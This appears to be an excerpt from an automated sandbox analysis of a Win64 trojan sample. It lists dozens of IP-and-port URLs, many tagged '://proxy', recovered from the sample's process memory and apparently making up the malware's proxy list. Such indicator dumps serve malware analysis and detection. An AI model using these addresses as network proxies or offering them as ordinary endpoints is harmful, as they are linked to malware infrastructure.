Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.190.172:43130
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.190.172:43130://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.235.51
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.235.51://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.235.51:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.24.185:46035
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.24.185:46035://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.24.185:59307
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.24.185:59307://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.60.8:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.60.8:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.129.162.65:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.129.162.65:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.129.202.244
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.129.202.244://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.129.202.244:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB107000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.144.180.43
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.144.180.43://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.144.180.43:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.166.167:46795
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.166.167:46795://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.181.177:19659
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.181.177:19659://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.181.177:27660
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.181.177:27660://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.238.184:35357
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.238.184:35357://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.238.184:60708
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.238.184:60708://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.177.190.161:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.177.190.161:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.177.190.161:3128x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.180.140.254:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.180.140.254:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.180.223.81:26171
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.180.223.81:26171://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA79D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.41.118:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.41.118:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D6F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.45.67:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.45.67:5678://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.86.226:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.86.226:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.5.64.108
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.5.64.108://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.5.64.108:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.5.73.71:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.5.73.71:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.1.14:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.1.14:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.149.137:11522
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.149.137:11522://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.149.137:32326
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.149.137:32326://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.66.145:41458
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.66.145:41458://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.73.26:11902
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.73.26:11902://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.73.26:5350
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.73.26:5350://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C768B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.73.26:60723
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.73.26:60723://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.60.231.35:47255
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.60.231.35:47255://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.9.119.20
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.9.119.20://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.9.119.20:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C850A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.148.90:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C850A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.148.90:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.35.195:1180
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.35.195:1180://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:17182
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:17182://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:17253
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:17253://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:18209
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:18209://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:29346
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:29346://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:32616
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:32616://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:52151
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:52151://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:54386
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.9.218:54386://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.102.61.138:59341
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.102.61.138:59341://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.103.26.53:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.103.26.53:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.115.107.135:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.115.107.135:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.143.130.210
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.143.130.210://proxyHJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.143.130.210:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.205.57:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.205.57:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.24.176:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.24.176:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.24.72:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.24.72:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.232.161.29:10801
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.232.161.29:10801://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C948B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9463000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.241.182.44:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9463000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.241.182.44:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.248.94.123:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.248.94.123:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.43.238.82
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.43.238.82://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.43.238.82:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.47.70.137:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C780F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.47.70.137:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C92E6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.51.102.214:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C935E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.51.102.214:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.97.48.44
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.97.48.44://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.227.204.7:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.227.204.7:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.227.204.7:3128x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.227.228.202:10101
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.227.228.202:10101://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E1D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.227.61.156:23456
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.227.61.156:23456://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.238.245.116:8100
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.238.245.116:8100://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.238.247.9:8100
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.238.247.9:8100://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.83.32.175
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.83.32.175://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.83.32.175:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.83.36.112:16725
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.83.36.112:16725://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.136.42.164
